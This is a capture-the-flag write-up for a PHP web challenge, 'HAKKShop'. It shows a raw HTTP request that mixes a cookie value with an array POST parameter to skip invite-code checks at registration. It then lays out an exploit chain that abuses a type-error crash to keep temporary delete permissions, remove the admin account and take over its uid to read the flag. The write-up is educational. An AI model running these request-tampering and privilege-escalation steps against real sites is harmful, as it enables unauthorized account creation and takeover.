> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/hakkshop.md).

# HAKKShop

logic bugs + verb tampering?

We are presented with a PHP web application that has a custom database implementation `DB`.

Looking at `register`, we spot a bug in the way `code` is being processed.

```php
//Register.php
// Checks if the code is a string and is set
if (isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['code']) && is_string($_REQUEST['code'])) {
    if (is_valid_invite($_POST['code'])) {
        $username = $_POST['username'];
        if (get_user_by_name($username)) {
            show_error('Username already taken.');
        } else {
            add_tmp_perms(perms: 'users_add');
            $user = create_user($username, $_POST['password']);
            rm_tmp_perms('users_add');
            if ($user) {
                show_success('Account created successfully.');
                header('Location: login.php');
            } else {
                show_error('Failed to create user.');
            }
        }
    } else {
        show_error('Invalid invite code.');
    }
}

// Invites.php
function is_valid_invite($code) {
    global $db;
    $res = $db->select([
        'SELECT' => '*',
        'FROM' => 'invites',
        'WHERE' => ['code' => $code],
    ]);
    return count($res) === 1;
}
```

Reading PHP's documentation, it states the following

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2ForfjVCuctjL8o3sE173E%2Fimage.png?alt=media&amp;token=51840afd-8add-469c-9df9-bfe0f90ef375" alt=""><figcaption></figcaption></figure>

This means we can set two `code` values, one in `Cookie` to satisfy the `is_string` check and one in `$_POST` data which is seen in the debugger.

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FV0PlvlA8sFz8mILO59Ye%2Fimage.png?alt=media&amp;token=b0cee3f2-8500-4213-a3e5-3b74a622000c" alt=""><figcaption></figcaption></figure>

We can use a payload like the following to then create a valid user. Since there is only one invite code from `install.php`, this returns one row, satisfying the

```
POST /register.php HTTP/1.1
Host: localhost:8000
Content-Length: 66
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="141", "Not?A_Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:8000
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8000/register.php
Accept-Encoding: gzip, deflate, br
Cookie: code=123
Connection: keep-alive

username=pwned_user123&password=pwned_pass&code[]=%21%3D&code[]=''
```

<figure><img src="https://3153414035-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FR4a0fV7sSqa7aeUItg65%2Fuploads%2FV4s3aQIMzCZcSGpCeneP%2Fimage.png?alt=media&amp;token=1911f4c4-6112-4ef1-8d34-92be11246817" alt=""><figcaption></figcaption></figure>

Now, we know that a admin user is created at the start via `install.php`. Looking at what our user can do, we see a interesting delete function in `settings.php`

{% tabs %}
{% tab title="Settings.php" %}

```php
<?php

include_once 'inc/required.php';
include_once 'inc/users.php';
include_once 'inc/perms.php';

enforce_auth();

if (isset($_POST['delete-user'])) {
    // Get uid from sesesion 
    $delete_uid = (int) $_REQUEST['uid'];
    if (has_perms('users_delete', 'perms_delete')) {
        delete_user($delete_uid);
        show_success("User $delete_uid has been deleted.");
    } elseif ($delete_uid === $_SESSION['uid']) {
        // if session matches id, allow deletion  
        add_tmp_perms('users_delete', 'perms_delete');
        delete_user($delete_uid);
        // Expects string from msg
        show_success($_REQUEST['msg']);
        rm_tmp_perms('users_delete', 'perms_delete');
        header('Location: logout.php');
    } else {
        show_error(error: 'You do not have permission to delete users.');
    }
}

include_once 'inc/header.php';
?>
<h2>Hello, <?= $_SESSION['username'] ?>!</h2>
<br>
<form action="?uid=<?= $_SESSION['uid'] ?>&msg=Your+account+has+been+deleted." method="POST">
    <input class="danger" type="submit" name="delete-user" value="Delete my account">
</form>
<?php include 'inc/footer.php'; ?>

```

{% endtab %}

{% tab title="Install.php" %}

```php
<?php

include_once 'inc/required.php';
include_once 'inc/users.php';
include_once 'inc/perms.php';
include_once 'inc/invites.php';

error_log('-------------------- INSTALLATION --------------------');

$db->exec('CREATE TABLE IF NOT EXISTS products (id INTEGER PRIMARY KEY, name TEXT, price INTEGER, qty INTEGER, art TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS perms (uid INTEGER, perm TEXT)');
$db->exec('CREATE TABLE IF NOT EXISTS invites (code TEXT)');
error_log('Tables created!');

if (count($db->select(['SELECT' => '*', 'FROM' => 'products'])) === 0) {
    add_tmp_perms('products_add');
    $db->insert('products', ['id' => 1, 'name' => 'NMAPPAV',     'price' => 100, 'qty' => 1337, 'art' => file_get_contents('art/NMAPPAV.txt')]);
    $db->insert('products', ['id' => 2, 'name' => 'WIREHAJ',     'price' => 200, 'qty' => 1337, 'art' => file_get_contents('art/WIREHAJ.txt')]);
    $db->insert('products', ['id' => 3, 'name' => 'BURPSUITVIK', 'price' => 300, 'qty' => 1337, 'art' => file_get_contents('art/BURPSUITVIK.txt')]);
    $db->insert('products', ['id' => 4, 'name' => 'KALIFJORD',   'price' => 400, 'qty' => 1337, 'art' => file_get_contents('art/KALIFJORD.txt')]);
    $db->insert('products', ['id' => 5, 'name' => 'FLÄGG',       'price' => 1,   'qty' => 0,    'art' => file_get_contents('art/FLÄGG.txt')]);
    rm_tmp_perms('products_add');
    error_log('Products added!');
}

if (!get_user_by_name('admin')) {
    $admin_pw = bin2hex(random_bytes(16));
    add_tmp_perms('users_add');
    $admin = create_user('admin', $admin_pw);
    rm_tmp_perms('users_add');
    $uid = $admin['id'];
    add_tmp_perms('perms_add');
    add_perm($uid, 'users_edit');
    add_perm($uid, 'users_delete');
    add_perm($uid, 'perms_edit');
    add_perm($uid, 'perms_delete');
    add_perm($uid, 'flag_read');
    rm_tmp_perms('perms_add');
    error_log("Admin password: $admin_pw");
}

if (count(value: $db->select(['SELECT' => '*', 'FROM' => 'invites'])) === 0) {
    add_tmp_perms(perms: 'invites_add');
    $invite_code = generate_invite();
    rm_tmp_perms('invites_add');
    error_log("Invite code: $invite_code");
}

error_log('Installed!');
error_log('------------------------------------------------------');

header('Location: /');

```

{% endtab %}
{% endtabs %}

Flow of the function

1. Check perms (Only for admin it seems)
   1. if present - delete any user via `uid`
2. Else If session `uid` === delete `uid` (strict comparison)
   1. add temporary perms `add_tmp_perms`
   2. delete user
   3. show success message
   4. remove temporary perms `rm_tmp_perms`

Something interesting is that we can directly pass the `msg` parameter into `show_success` which expects a `string` type.

This can cause a crash, allowing us to retain our `delete_user` privileges, assuming we do not follow the redirect to `logout.php`

We can thus formulate the exploit

1. Create two sessions, A and B
   1. Use session A to do the following
      1. pass in a errorneous type into `message`, giving us `delete_user` privileges
      2. delete `admin` user by specifying `uid=1`
2. Create a new user that will take the `uid=2` using the bug above
3. Run `install.php` to create the new `admin` user as `uid=2`
4. Use session B which still retains the uid of 2 to view the flag
